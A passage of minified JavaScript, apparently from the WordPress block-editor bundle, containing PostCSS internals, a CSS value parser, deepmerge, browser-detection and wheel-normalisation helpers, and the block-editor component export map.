o)if(r===zh)t.nodes&amp;&amp;t.each(n=&gt;{n[xa]||this.walkSync(n)});else{let n=this.listeners[r];if(n&amp;&amp;this.visitSync(n,t.toProxy()))return}}warnings(){return this.sync().warnings()}get content(){return this.stringify().content}get css(){return this.stringify().css}get map(){return this.stringify().map}get messages(){return this.sync().messages}get opts(){return this.result.opts}get processor(){return this.result.processor}get root(){return this.sync().root}get[Symbol.toStringTag](){return&quot;LazyResult&quot;}};zu.registerPostcss=e=&gt;{m5=e};YW.exports=zu;zu.default=zu;y0e.registerLazyResult(zu);k0e.registerLazyResult(zu)});var XW=oe((e8e,ZW)=&gt;{&quot;use strict&quot;;var w0e=jW(),C0e=qW(),B0e=d5(),E0e=H1(),im=class{constructor(t=[]){this.version=&quot;8.4.38&quot;,this.plugins=this.normalize(t)}normalize(t){let o=[];for(let r of t)if(r.postcss===!0?r=r():r.postcss&amp;&amp;(r=r.postcss),typeof r==&quot;object&quot;&amp;&amp;Array.isArray(r.plugins))o=o.concat(r.plugins);else if(typeof r==&quot;object&quot;&amp;&amp;r.postcssPlugin)o.push(r);else if(typeof r==&quot;function&quot;)o.push(r);else if(!(typeof r==&quot;object&quot;&amp;&amp;(r.parse||r.stringify)))throw new Error(r+&quot; is not a PostCSS plugin&quot;);return o}process(t,o={}){return!this.plugins.length&amp;&amp;!o.parser&amp;&amp;!o.stringifier&amp;&amp;!o.syntax?new w0e(this,t,o):new C0e(this,t,o)}use(t){return this.plugins=this.plugins.concat(this.normalize([t])),this}};ZW.exports=im;im.default=im;E0e.registerProcessor(im);B0e.registerProcessor(im)});var e$=oe((t8e,JW)=&gt;{JW.exports=function(t){let o=t.prefix,r=/\s+$/.test(o)?o:`${o} `,n=t.ignoreFiles?[].concat(t.ignoreFiles):[],i=t.includeFiles?[].concat(t.includeFiles):[];return function(s){n.length&amp;&amp;s.source.input.file&amp;&amp;QW(s.source.input.file,n)||i.length&amp;&amp;s.source.input.file&amp;&amp;!QW(s.source.input.file,i)||s.walkRules(a=&gt;{let c=[&quot;keyframes&quot;,&quot;-webkit-keyframes&quot;,&quot;-moz-keyframes&quot;,&quot;-o-keyframes&quot;,&quot;-ms-keyframes&quot;];a.parent&amp;&amp;c.includes(a.parent.name)||(a.selectors=a.selectors.map(u=&gt;t.exclude&amp;&amp;T0e(u,t.exclude)?u:t.transform?t.transform(o,u,r+u,s.source.input.file,a):r+u))})}};function QW(e,t){return t.some(o=&gt;o instanceof RegExp?o.test(e):e.includes(o))}function T0e(e,t){return t.some(o=&gt;o instanceof RegExp?o.test(e):e===o)}});var o$=oe((o8e,t$)=&gt;{var p5=40,h5=41,W1=39,g5=34,b5=92,jh=47,k5=44,v5=58,$1=42,I0e=117,P0e=85,R0e=43,O0e=/^[a-f0-9?-]+$/i;t$.exports=function(e){for(var t=[],o=e,r,n,i,s,a,c,u,d,f=0,m=o.charCodeAt(f),h=o.length,p=[{nodes:t}],g=0,b,v=&quot;&quot;,k=&quot;&quot;,y=&quot;&quot;;f&lt;h;)if(m&lt;=32){r=f;do r+=1,m=o.charCodeAt(r);while(m&lt;=32);s=o.slice(f,r),i=t[t.length-1],m===h5&amp;&amp;g?y=s:i&amp;&amp;i.type===&quot;div&quot;?(i.after=s,i.sourceEndIndex+=s.length):m===k5||m===v5||m===jh&amp;&amp;o.charCodeAt(r+1)!==$1&amp;&amp;(!b||b&amp;&amp;b.type===&quot;function&quot;&amp;&amp;b.value!==&quot;calc&quot;)?k=s:t.push({type:&quot;space&quot;,sourceIndex:f,sourceEndIndex:r,value:s}),f=r}else if(m===W1||m===g5){r=f,n=m===W1?&quot;&#039;&quot;:&#039;&quot;&#039;,s={type:&quot;string&quot;,sourceIndex:f,quote:n};do if(a=!1,r=o.indexOf(n,r+1),~r)for(c=r;o.charCodeAt(c-1)===b5;)c-=1,a=!a;else o+=n,r=o.length-1,s.unclosed=!0;while(a);s.value=o.slice(f+1,r),s.sourceEndIndex=s.unclosed?r:r+1,t.push(s),f=r+1,m=o.charCodeAt(f)}else if(m===jh&amp;&amp;o.charCodeAt(f+1)===$1)r=o.indexOf(&quot;*/&quot;,f),s={type:&quot;comment&quot;,sourceIndex:f,sourceEndIndex:r+2},r===-1&amp;&amp;(s.unclosed=!0,r=o.length,s.sourceEndIndex=r),s.value=o.slice(f+2,r),t.push(s),f=r+2,m=o.charCodeAt(f);else if((m===jh||m===$1)&amp;&amp;b&amp;&amp;b.type===&quot;function&quot;&amp;&amp;b.value===&quot;calc&quot;)s=o[f],t.push({type:&quot;word&quot;,sourceIndex:f-k.length,sourceEndIndex:f+s.length,value:s}),f+=1,m=o.charCodeAt(f);else if(m===jh||m===k5||m===v5)s=o[f],t.push({type:&quot;div&quot;,sourceIndex:f-k.length,sourceEndIndex:f+s.length,value:s,before:k,after:&quot;&quot;}),k=&quot;&quot;,f+=1,m=o.charCodeAt(f);else if(p5===m){r=f;do r+=1,m=o.charCodeAt(r);while(m&lt;=32);if(d=f,s={type:&quot;function&quot;,sourceIndex:f-v.length,value:v,before:o.slice(d+1,r)},f=r,v===&quot;url&quot;&amp;&amp;m!==W1&amp;&amp;m!==g5){r-=1;do if(a=!1,r=o.indexOf(&quot;)&quot;,r+1),~r)for(c=r;o.charCodeAt(c-1)===b5;)c-=1,a=!a;else o+=&quot;)&quot;,r=o.length-1,s.unclosed=!0;while(a);u=r;do u-=1,m=o.charCodeAt(u);while(m&lt;=32);d&lt;u?(f!==u+1?s.nodes=[{type:&quot;word&quot;,sourceIndex:f,sourceEndIndex:u+1,value:o.slice(f,u+1)}]:s.nodes=[],s.unclosed&amp;&amp;u+1!==r?(s.after=&quot;&quot;,s.nodes.push({type:&quot;space&quot;,sourceIndex:u+1,sourceEndIndex:r,value:o.slice(u+1,r)})):(s.after=o.slice(u+1,r),s.sourceEndIndex=r)):(s.after=&quot;&quot;,s.nodes=[]),f=r+1,s.sourceEndIndex=s.unclosed?r:f,m=o.charCodeAt(f),t.push(s)}else g+=1,s.after=&quot;&quot;,s.sourceEndIndex=f+1,t.push(s),p.push(s),t=s.nodes=[],b=s;v=&quot;&quot;}else if(h5===m&amp;&amp;g)f+=1,m=o.charCodeAt(f),b.after=y,b.sourceEndIndex+=y.length,y=&quot;&quot;,g-=1,p[p.length-1].sourceEndIndex=f,p.pop(),b=p[g],t=b.nodes;else{r=f;do m===b5&amp;&amp;(r+=1),r+=1,m=o.charCodeAt(r);while(r&lt;h&amp;&amp;!(m&lt;=32||m===W1||m===g5||m===k5||m===v5||m===jh||m===p5||m===$1&amp;&amp;b&amp;&amp;b.type===&quot;function&quot;&amp;&amp;b.value===&quot;calc&quot;||m===jh&amp;&amp;b.type===&quot;function&quot;&amp;&amp;b.value===&quot;calc&quot;||m===h5&amp;&amp;g));s=o.slice(f,r),p5===m?v=s:(I0e===s.charCodeAt(0)||P0e===s.charCodeAt(0))&amp;&amp;R0e===s.charCodeAt(1)&amp;&amp;O0e.test(s.slice(2))?t.push({type:&quot;unicode-range&quot;,sourceIndex:f,sourceEndIndex:r,value:s}):t.push({type:&quot;word&quot;,sourceIndex:f,sourceEndIndex:r,value:s}),f=r}for(f=p.length-1;f;f-=1)p[f].unclosed=!0,p[f].sourceEndIndex=o.length;return p[0].nodes}});var n$=oe((r8e,r$)=&gt;{r$.exports=function e(t,o,r){var n,i,s,a;for(n=0,i=t.length;n&lt;i;n+=1)s=t[n],r||(a=o(s,n,t)),a!==!1&amp;&amp;s.type===&quot;function&quot;&amp;&amp;Array.isArray(s.nodes)&amp;&amp;e(s.nodes,o,r),r&amp;&amp;o(s,n,t)}});var l$=oe((n8e,a$)=&gt;{function i$(e,t){var o=e.type,r=e.value,n,i;return t&amp;&amp;(i=t(e))!==void 0?i:o===&quot;word&quot;||o===&quot;space&quot;?r:o===&quot;string&quot;?(n=e.quote||&quot;&quot;,n+r+(e.unclosed?&quot;&quot;:n)):o===&quot;comment&quot;?&quot;/*&quot;+r+(e.unclosed?&quot;&quot;:&quot;*/&quot;):o===&quot;div&quot;?(e.before||&quot;&quot;)+r+(e.after||&quot;&quot;):Array.isArray(e.nodes)?(n=s$(e.nodes,t),o!==&quot;function&quot;?n:r+&quot;(&quot;+(e.before||&quot;&quot;)+n+(e.after||&quot;&quot;)+(e.unclosed?&quot;&quot;:&quot;)&quot;)):r}function s$(e,t){var o,r;if(Array.isArray(e)){for(o=&quot;&quot;,r=e.length-1;~r;r-=1)o=i$(e[r],t)+o;return o}return i$(e,t)}a$.exports=s$});var u$=oe((i8e,c$)=&gt;{var K1=45,Y1=43,y5=46,A0e=101,L0e=69;function N0e(e){var t=e.charCodeAt(0),o;if(t===Y1||t===K1){if(o=e.charCodeAt(1),o&gt;=48&amp;&amp;o&lt;=57)return!0;var r=e.charCodeAt(2);return o===y5&amp;&amp;r&gt;=48&amp;&amp;r&lt;=57}return t===y5?(o=e.charCodeAt(1),o&gt;=48&amp;&amp;o&lt;=57):t&gt;=48&amp;&amp;t&lt;=57}c$.exports=function(e){var t=0,o=e.length,r,n,i;if(o===0||!N0e(e))return!1;for(r=e.charCodeAt(t),(r===Y1||r===K1)&amp;&amp;t++;t&lt;o&amp;&amp;(r=e.charCodeAt(t),!(r&lt;48||r&gt;57));)t+=1;if(r=e.charCodeAt(t),n=e.charCodeAt(t+1),r===y5&amp;&amp;n&gt;=48&amp;&amp;n&lt;=57)for(t+=2;t&lt;o&amp;&amp;(r=e.charCodeAt(t),!(r&lt;48||r&gt;57));)t+=1;if(r=e.charCodeAt(t),n=e.charCodeAt(t+1),i=e.charCodeAt(t+2),(r===A0e||r===L0e)&amp;&amp;(n&gt;=48&amp;&amp;n&lt;=57||(n===Y1||n===K1)&amp;&amp;i&gt;=48&amp;&amp;i&lt;=57))for(t+=n===Y1||n===K1?3:2;t&lt;o&amp;&amp;(r=e.charCodeAt(t),!(r&lt;48||r&gt;57));)t+=1;return{number:e.slice(0,t),unit:e.slice(t)}}});var p$=oe((s8e,m$)=&gt;{var M0e=o$(),d$=n$(),f$=l$();function ju(e){return this instanceof ju?(this.nodes=M0e(e),this):new ju(e)}ju.prototype.toString=function(){return Array.isArray(this.nodes)?f$(this.nodes):&quot;&quot;};ju.prototype.walk=function(e,t){return d$(this.nodes,e,t),this};ju.unit=u$();ju.walk=d$;ju.stringify=f$;m$.exports=ju});var g$=oe((a8e,S5)=&gt;{var h$=p$();S5.exports=e=&gt;{let o=Object.assign({skipHostRelativeUrls:!0},e);return{postcssPlugin:&quot;rebaseUrl&quot;,Declaration(r){let n=h$(r.value),i=!1;n.walk(s=&gt;{if(s.type!==&quot;function&quot;||s.value!==&quot;url&quot;)return;let a=s.nodes[0].value,c=new URL(a,e.rootUrl);return c.pathname===a&amp;&amp;o.skipHostRelativeUrls||(s.nodes[0].value=c.toString(),i=!0),!1}),i&amp;&amp;(r.value=h$.stringify(n))}}};S5.exports.postcss=!0});var I$=oe((S8e,T$)=&gt;{T$.exports=window.wp.priorityQueue});var F5=oe((p9e,TK)=&gt;{TK.exports=window.wp.blob});var Jy=oe((VWe,DY)=&gt;{DY.exports=window.wp.isShallowEqual});var XE=oe((Kqe,TX)=&gt;{TX.exports=window.wp.tokenList});var MV=oe((iZe,UX)=&gt;{&quot;use strict&quot;;var k1e=function(t){return v1e(t)&amp;&amp;!y1e(t)};function v1e(e){return!!e&amp;&amp;typeof e==&quot;object&quot;}function y1e(e){var t=Object.prototype.toString.call(e);return t===&quot;[object RegExp]&quot;||t===&quot;[object Date]&quot;||x1e(e)}var S1e=typeof Symbol==&quot;function&quot;&amp;&amp;Symbol.for,_1e=S1e?Symbol.for(&quot;react.element&quot;):60103;function x1e(e){return e.$$typeof===_1e}function w1e(e){return Array.isArray(e)?[]:{}}function xS(e,t){return t.clone!==!1&amp;&amp;t.isMergeableObject(e)?Rg(w1e(e),e,t):e}function C1e(e,t,o){return e.concat(t).map(function(r){return xS(r,o)})}function B1e(e,t){if(!t.customMerge)return Rg;var o=t.customMerge(e);return typeof o==&quot;function&quot;?o:Rg}function E1e(e){return Object.getOwnPropertySymbols?Object.getOwnPropertySymbols(e).filter(function(t){return Object.propertyIsEnumerable.call(e,t)}):[]}function zX(e){return Object.keys(e).concat(E1e(e))}function jX(e,t){try{return t in e}catch{return!1}}function T1e(e,t){return jX(e,t)&amp;&amp;!(Object.hasOwnProperty.call(e,t)&amp;&amp;Object.propertyIsEnumerable.call(e,t))}function I1e(e,t,o){var r={};return o.isMergeableObject(e)&amp;&amp;zX(e).forEach(function(n){r[n]=xS(e[n],o)}),zX(t).forEach(function(n){T1e(e,n)||(jX(e,n)&amp;&amp;o.isMergeableObject(t[n])?r[n]=B1e(n,o)(e[n],t[n],o):r[n]=xS(t[n],o))}),r}function Rg(e,t,o){o=o||{},o.arrayMerge=o.arrayMerge||C1e,o.isMergeableObject=o.isMergeableObject||k1e,o.cloneUnlessOtherwiseSpecified=xS;var r=Array.isArray(t),n=Array.isArray(e),i=r===n;return i?r?o.arrayMerge(e,t,o):I1e(e,t,o):xS(t,o)}Rg.all=function(t,o){if(!Array.isArray(t))throw new Error(&quot;first argument should be an array&quot;);return t.reduce(function(r,n){return Rg(r,n,o)},{})};var P1e=Rg;UX.exports=P1e});var ZQ=oe((NQe,qQ)=&gt;{qQ.exports=window.wp.commands});var pc=oe((mot,mte)=&gt;{mte.exports=window.wp.date});var $te=oe((ert,Wte)=&gt;{var zte=!1,Gm,N3,M3,gI,bI,jte,kI,D3,V3,F3,Ute,z3,j3,Hte,Gte;function En(){if(!zte){zte=!0;var e=navigator.userAgent,t=/(?:MSIE.(\d+\.\d+))|(?:(?:Firefox|GranParadiso|Iceweasel).(\d+\.\d+))|(?:Opera(?:.+Version.|.)(\d+\.\d+))|(?:AppleWebKit.(\d+(?:\.\d+)?))|(?:Trident\/\d+\.\d+.*rv:(\d+\.\d+))/.exec(e),o=/(Mac OS X)|(Windows)|(Linux)/.exec(e);if(z3=/\b(iPhone|iP[ao]d)/.exec(e),j3=/\b(iP[ao]d)/.exec(e),F3=/Android/i.exec(e),Hte=/FBAN\/\w+;/i.exec(e),Gte=/Mobile/i.exec(e),Ute=!!/Win64/.exec(e),t){Gm=t[1]?parseFloat(t[1]):t[5]?parseFloat(t[5]):NaN,Gm&amp;&amp;document&amp;&amp;document.documentMode&amp;&amp;(Gm=document.documentMode);var r=/(?:Trident\/(\d+.\d+))/.exec(e);jte=r?parseFloat(r[1])+4:Gm,N3=t[2]?parseFloat(t[2]):NaN,M3=t[3]?parseFloat(t[3]):NaN,gI=t[4]?parseFloat(t[4]):NaN,gI?(t=/(?:Chrome\/(\d+\.\d+))/.exec(e),bI=t&amp;&amp;t[1]?parseFloat(t[1]):NaN):bI=NaN}else Gm=N3=M3=bI=gI=NaN;if(o){if(o[1]){var n=/(?:Mac OS X (\d+(?:[._]\d+)?))/.exec(e);kI=n?parseFloat(n[1].replace(&quot;_&quot;,&quot;.&quot;)):!0}else kI=!1;D3=!!o[2],V3=!!o[3]}else kI=D3=V3=!1}}var U3={ie:function(){return En()||Gm},ieCompatibilityMode:function(){return En()||jte&gt;Gm},ie64:function(){return U3.ie()&amp;&amp;Ute},firefox:function(){return En()||N3},opera:function(){return En()||M3},webkit:function(){return En()||gI},safari:function(){return U3.webkit()},chrome:function(){return En()||bI},windows:function(){return En()||D3},osx:function(){return En()||kI},linux:function(){return En()||V3},iphone:function(){return En()||z3},mobile:function(){return En()||z3||j3||F3||Gte},nativeApp:function(){return En()||Hte},android:function(){return En()||F3},ipad:function(){return En()||j3}};Wte.exports=U3});var Yte=oe((trt,Kte)=&gt;{&quot;use strict&quot;;var vI=!!(typeof window&lt;&quot;u&quot;&amp;&amp;window.document&amp;&amp;window.document.createElement),yEe={canUseDOM:vI,canUseWorkers:typeof Worker&lt;&quot;u&quot;,canUseEventListeners:vI&amp;&amp;!!(window.addEventListener||window.attachEvent),canUseViewport:vI&amp;&amp;!!window.screen,isInWorker:!vI};Kte.exports=yEe});var Qte=oe((ort,Xte)=&gt;{&quot;use strict&quot;;var qte=Yte(),Zte;qte.canUseDOM&amp;&amp;(Zte=document.implementation&amp;&amp;document.implementation.hasFeature&amp;&amp;document.implementation.hasFeature(&quot;&quot;,&quot;&quot;)!==!0);function SEe(e,t){if(!qte.canUseDOM||t&amp;&amp;!(&quot;addEventListener&quot;in document))return!1;var o=&quot;on&quot;+e,r=o in document;if(!r){var n=document.createElement(&quot;div&quot;);n.setAttribute(o,&quot;return;&quot;),r=typeof n[o]==&quot;function&quot;}return!r&amp;&amp;Zte&amp;&amp;e===&quot;wheel&quot;&amp;&amp;(r=document.implementation.hasFeature(&quot;Events.wheel&quot;,&quot;3.0&quot;)),r}Xte.exports=SEe});var noe=oe((rrt,roe)=&gt;{&quot;use strict&quot;;var _Ee=$te(),xEe=Qte(),Jte=10,eoe=40,toe=800;function ooe(e){var t=0,o=0,r=0,n=0;return&quot;detail&quot;in e&amp;&amp;(o=e.detail),&quot;wheelDelta&quot;in e&amp;&amp;(o=-e.wheelDelta/120),&quot;wheelDeltaY&quot;in e&amp;&amp;(o=-e.wheelDeltaY/120),&quot;wheelDeltaX&quot;in e&amp;&amp;(t=-e.wheelDeltaX/120),&quot;axis&quot;in e&amp;&amp;e.axis===e.HORIZONTAL_AXIS&amp;&amp;(t=o,o=0),r=t*Jte,n=o*Jte,&quot;deltaY&quot;in e&amp;&amp;(n=e.deltaY),&quot;deltaX&quot;in e&amp;&amp;(r=e.deltaX),(r||n)&amp;&amp;e.deltaMode&amp;&amp;(e.deltaMode==1?(r*=eoe,n*=eoe):(r*=toe,n*=toe)),r&amp;&amp;!t&amp;&amp;(t=r&lt;1?-1:1),n&amp;&amp;!o&amp;&amp;(o=n&lt;1?-1:1),{spinX:t,spinY:o,pixelX:r,pixelY:n}}ooe.getEventType=function(){return _Ee.firefox()?&quot;DOMMouseScroll&quot;:xEe(&quot;wheel&quot;)?&quot;wheel&quot;:&quot;mousewheel&quot;};roe.exports=ooe});var soe=oe((nrt,ioe)=&gt;{ioe.exports=noe()});var Nre=oe((qnt,Lre)=&gt;{&quot;use strict&quot;;Lre.exports=function e(t,o){if(t===o)return!0;if(t&amp;&amp;o&amp;&amp;typeof t==&quot;object&quot;&amp;&amp;typeof o==&quot;object&quot;){if(t.constructor!==o.constructor)return!1;var r,n,i;if(Array.isArray(t)){if(r=t.length,r!=o.length)return!1;for(n=r;n--!==0;)if(!e(t[n],o[n]))return!1;return!0}if(t.constructor===RegExp)return t.source===o.source&amp;&amp;t.flags===o.flags;if(t.valueOf!==Object.prototype.valueOf)return t.valueOf()===o.valueOf();if(t.toString!==Object.prototype.toString)return t.toString()===o.toString();if(i=Object.keys(t),r=i.length,r!==Object.keys(o).length)return!1;for(n=r;n--!==0;)if(!Object.prototype.hasOwnProperty.call(o,i[n]))return!1;for(n=r;n--!==0;){var s=i[n];if(!e(t[s],o[s]))return!1}return!0}return t!==t&amp;&amp;o!==o}});var dLe={};Ip(dLe,{AlignmentControl:()=&gt;$w,AlignmentToolbar:()=&gt;wU,Autocomplete:()=&gt;ZU,BlockAlignmentControl:()=&gt;cC,BlockAlignmentToolbar:()=&gt;kH,BlockBindingsAttributeControl:()=&gt;$v,BlockBindingsSourceFieldsList:()=&gt;Wv,BlockBreadcrumb:()=&gt;jH,BlockCanvas:()=&gt;tJ,BlockColorsStyleSelector:()=&gt;iJ,BlockContextProvider:()=&gt;g0,BlockControls:()=&gt;Mt,BlockEdit:()=&gt;Fw,BlockEditorKeyboardShortcuts:()=&gt;g1,BlockEditorProvider:()=&gt;U9,BlockFormatControls:()=&gt;bV,BlockIcon:()=&gt;Ae,BlockInspector:()=&gt;Hae,BlockList:()=&gt;Gh,BlockMover:()=&gt;kE,BlockNavigationDropdown:()=&gt;pee,BlockPopover:()=&gt;vY,BlockPreview:()=&gt;vn,BlockSelectionClearer:()=&gt;OY,BlockSettingsMenu:()=&gt;GE,BlockSettingsMenuControls:()=&gt;FE,BlockStyles:()=&gt;Qg,BlockTitle:()=&gt;Yv,BlockToolbar:()=&gt;MQ,BlockTools:()=&gt;RS,BlockVerticalAlignmentControl:()=&gt;iC,BlockVerticalAlignmentToolbar:()=&gt;Fee,ButtonBlockAppender:()=&gt;Qu,ButtonBlockerAppender:()=&gt;cY,ColorPalette:()=&gt;ate,ColorPaletteControl:()=&gt;ute,ContrastChecker:()=&gt;QT,CopyHandler:()=&gt;$ae,DefaultBlockAppender:()=&gt;cg,DimensionControl:()=&gt;lb,FontSizePicker:()=&gt;fM,HeadingLevelDropdown:()=&gt;Bee,HeightControl:()=&gt;Fte,InnerBlocks:()=&gt;tS,Inserter:()=&gt;Ui,InspectorAdvancedControls:()=&gt;rd,InspectorControls:()=&gt;fe,JustifyContentControl:()=&gt;ah,JustifyToolbar:()=&gt;qoe,LineHeightControl:()=&gt;HI,LinkControl:()=&gt;Pd,MediaPlaceholder:()=&gt;gne,MediaReplaceFlow:()=&gt;_b,MediaUpload:()=&gt;qu,MediaUploadCheck:()=&gt;Ds,MultiSelectScrollIntoView:()=&gt;Zae,NavigableToolbar:()=&gt;Bg,ObserveTyping:()=&gt;rq,PanelColorSettings:()=&gt;kne,PlainText:()=&gt;gie,RecursionProvider:()=&gt;f4,RichText:()=&gt;Eb,RichTextShortcut:()=&gt;wF,RichTextToolbarButton:()=&gt;BF,SETTINGS_DEFAULTS:()=&gt;Kk,SkipToSelectedBlock:()=&gt;kP,ToolSelector:()=&gt;cle,Typewriter:()=&gt;ele,URLInput:()=&gt;Td,URLInputButton:()=&gt;Cie,URLPopover:()=&gt;Ad,Warning:()=&gt;pu,WritingFlow:()=&gt;E1,__experimentalBlockAlignmentMatrixControl:()=&gt;AH,__experimentalBlockFullHeightAligmentControl:()=&gt;IH,__experimentalBlockPatternSetup:()=&gt;Mee,__experimentalBlockPatternsList:()=&gt;Ca,__experimentalBlockVariationPicker:()=&gt;Eee,__experimentalBlockVariationTransforms:()=&gt;WT,__experimentalBorderRadiusControl:()=&gt;ZT,__experimentalColorGradientControl:()=&gt;_d,__experimentalColorGradientSettingsDropdown:()=&gt;fI,__experimentalDateFormatPicker:()=&gt;pte,__experimentalDuotoneControl:()=&gt;eI,__experimentalFontAppearanceControl:()=&gt;oI,__experimentalFontFamilyControl:()=&gt;rI,__experimentalGetBorderClassesAndStyles:()=&gt;sO,__experimentalGetColorClassesAndStyles:()=&gt;aO,__experimentalGetElementClassName:()=&gt;lLe,__experimentalGetGapCSSValue:()=&gt;mr,__experimentalGetGradientClass:()=&gt;th,__experimentalGetGradientObjectByGradientValue:()=&gt;pU,__experimentalGetShadowClassesAndStyles:()=&gt;Yz,__experimentalGetSpacingClassesAndStyles:()=&gt;Xz,__experimentalImageEditor:()=&gt;Uoe,__experimentalImageSizeControl:()=&gt;$oe,__experimentalImageURLInputUI:()=&gt;Oie,__experimentalInspectorPopoverHeader:()=&gt;y2,__experimentalLetterSpacingControl:()=&gt;iI,__experimentalLibrary:()=&gt;Yae,__experimentalLinkControl:()=&gt;UI,__experimentalLinkControlSearchInput:()=&gt;yre,__experimentalLinkControlSearchItem:()=&gt;are,__experimentalLinkControlSearchResults:()=&gt;mre,__experimentalListView:()=&gt;zT,__experimentalPanelColorGradientSettings:()=&gt;pI,__experimentalPreviewOptions:()=&gt;Yie,__experimentalPublishDateTimePicker:()=&gt;ile,__experimentalRecursionProvider:()=&gt;tle,__experimentalResponsiveBlockControl:()=&gt;Sie,__experimentalSpacingSizesControl:()=&gt;Db,__experimentalTextDecorationControl:()=&gt;aI,__experimentalTextTransformControl:()=&gt;cI,__experimentalUnitControl:()=&gt;xie,__experimentalUseBlockOverlayActive:()=&gt;HH,__experimentalUseBlockPreview:()=&gt;L$,__experimentalUseBorderProps:()=&gt;Kz,__experimentalUseColorProps:()=&gt;Zz,__experimentalUseCustomSides:()=&gt;Cz,__experimentalUseGradient:()=&gt;Yke,__experimentalUseHasRecursion:()=&gt;ole,__experimentalUseMultipleOriginColorsAndGradients:()=&gt;wd,__experimentalUseResizeCanvas:()=&gt;qie,__experimentalWritingModeControl:()=&gt;dI,__unstableBlockSettingsMenuFirstItem:()=&gt;TE,__unstableBlockToolbarLastItem:()=&gt;xE,__unstableEditorStyles:()=&gt;Nl,__unstableIframe:()=&gt;Mh,__unstableInserterMenuExtension:()=&gt;yB,__unstableRichTextInputEvent:()=&gt;EF,__unstableUseBlockSelectionClearer:()=&gt;hm,__unstableUseClipboardHandler:()=&gt;Wae,__unstableUseMouseMoveTypingReset:()=&gt;rS,__unstableUseTypewriter:()=&gt;c4,__unstableUseTypingObserver:()=&gt;nS,createCustomColorsHOC:()=&gt;fU,getColorClassName:()=&gt;_i,getColorObjectByAttributeValues:()=&gt;da,getColorObjectByColorValue:()=&gt;p0,getComputedFluidTypographyValue:()=&gt;bU,getCustomValueFromPreset:()=&gt;JU,getDimensionsClassesAndStyles:()=&gt;$z,getFontSize:()=&gt;oh,getFontSizeClass:()=&gt;hu,getFontSizeObjectByValue:()=&gt;dM,getGradientSlugByValue:()=&gt;hU,getGradientValueBySlug:()=&gt;Gw,getPxFromCssUnit:()=&gt;xme,getSpacingPresetCssVar:()=&gt;jv,getTypographyClassesAndStyles:()=&gt;Qz,isValueSpacingPreset:()=&gt;nC,privateApis:()=&gt;a6,store:()=&gt;_,storeConfig:()=&gt;Qp,transformStyles:()=&gt;Uh,useBlockBindingsUtils:()=&gt;El,useBlockCommands:()=&gt;_T,useBlockDisplayInformation:()=&gt;Tt,useBlockEditContext:()=&gt;Ie,useBlockEditingMode:()=&gt;ao,useBlockProps:()=&gt;ky,useCachedTruthy:()=&gt;Jz,useHasRecursion:()=&gt;m4,useInnerBlocksProps:()=&gt;ym,useSetting:()=&gt;lU,useSettings:()=&gt;me,useStyleOverride:()=&gt;Qn,withColorContext:()=&gt;XT,withColors:()=&gt;mU,withFontSizes:()=&gt;_U});function c6(e){var t,o,r=&quot;&quot;;if(typeof e==&quot;string&quot;||typeof e==&quot;number&quot;)r+=e;else if(typeof e==&quot;object&quot;)if(Array.isArray(e)){var n=e.length;for(t=0;t&lt;n;t++)e[t]&amp;&amp;(o=c6(e[t]))&amp;&amp;(r&amp;&amp;(r+=&quot; &quot;),r+=o)}else for(o in e)e[o]&amp;&amp;(r&amp;&amp;(r+=&quot; &quot;),r+=o);return r}function Zme(){for(var e,t,o=0,r=&quot;&quot;,n=arguments.length;o&lt;n;o++)(e=arguments[o])&amp;&amp;(t=c6(e))&amp;&amp;(r&amp;&amp;(r+=&quot; &quot;),r+=t);return r}var V=Zme;var ule=l($(),1),as=l(R(),1),x2=l(F(),1),b4=l(Z(),1),w_=l(ut(),1);var c0=l(R(),1),bs=Symbol(&quot;mayDisplayControls&quot;),Pp=Symbol(&quot;mayDisplayParentControls&quot;),$c=Symbol(&quot;mayDisplayPatternEditingControls&quot;),u0=Symbol(&quot;blockEditingMode&quot;),Rp=Symbol(&quot;blockBindings&quot;),d0=Symbol(&quot;isPreviewMode&quot;),Hk=Symbol(&quot;isInListViewBlockSupportTree&quot;),gO={name:&quot;&quot;,isSelected:!1},bO=(0,c0.createContext)(gO);bO.displayName=&quot;BlockEditContext&quot;;var{Provider:f0}=bO;function Ie(){return(0,c0.useContext)(bO)}var Xme={grad:.9,turn:360,rad:360/(2*Math.PI)},ml=function(e){return typeof e==&quot;string&quot;?e.length&gt;0:typeof e==&quot;number&quot;},Zo=function(e,t,o){return t===void 0&amp;&amp;(t=0),o===void 0&amp;&amp;(o=Math.pow(10,t)),Math.round(o*e)/o+0},Si=function(e,t,o){return t===void 0&amp;&amp;(t=0),o===void 0&amp;&amp;(o=1),e&gt;o?o:e&gt;t?e:t},_6=function(e){return(e=isFinite(e)?e%360:0)&gt;0?e:e+360},h6=function(e){return{r:Si(e.r,0,255),g:Si(e.g,0,255),b:Si(e.b,0,255),a:Si(e.a)}},kO=function(e){return{r:Zo(e.r),g:Zo(e.g),b:Zo(e.b),a:Zo(e.a,3)}},Qme=/^#([0-9a-f]{3,8})$/i,m0=function(e){var t=e.toString(16);return t.length&lt;2?&quot;0&quot;+t:t},x6=function(e){var t=e.r,o=e.g,r=e.b,n=e.a,i=Math.max(t,o,r),s=i-Math.min(t,o,r),a=s?i===t?(o-r)/s:i===o?2+(r-t)/s:4+(t-o)/s:0;return{h:60*(a&lt;0?a+6:a),s:i?s/i*100:0,v:i/255*100,a:n}},w6=function(e){var t=e.h,o=e.s,r=e.v,n=e.a;t=t/360*6,o/=100,r/=100;var i=Math.floor(t),s=r*(1-o),a=r*(1-(t-i)*o),c=r*(1-(1-t+i)*o),u=i%6;return{r:255*[r,a,s,s,c,r][u],g:255*[c,r,r,a,s,s][u],b:255*[s,s,c,r,r,a][u],a:n}},g6=function(e){return{h:_6(e.h),s:Si(e.s,0,100),l:Si(e.l,0,100),a:Si(e.a)}},b6=function(e){return{h:Zo(e.h),s:Zo(e.s),l:Zo(e.l),a:Zo(e.a,3)}},k6=function(e){return w6((o=(t=e).s,{h:t.h,s:(o*=((r=t.l)&lt;50?r:100-r)/100)&gt;0?2*o/(r+o)*100:0,v:r+o,a:t.a}));var t,o,r},Gk=function(e){return{h:(t=x6(e)).h,s:(n=(200-(o=t.s))*(r=t.v)/100)&gt;0&amp;&amp;n&lt;200?o*r/100/(n&lt;=100?n:200-n)*100:0,l:n/2,a:t.a};var 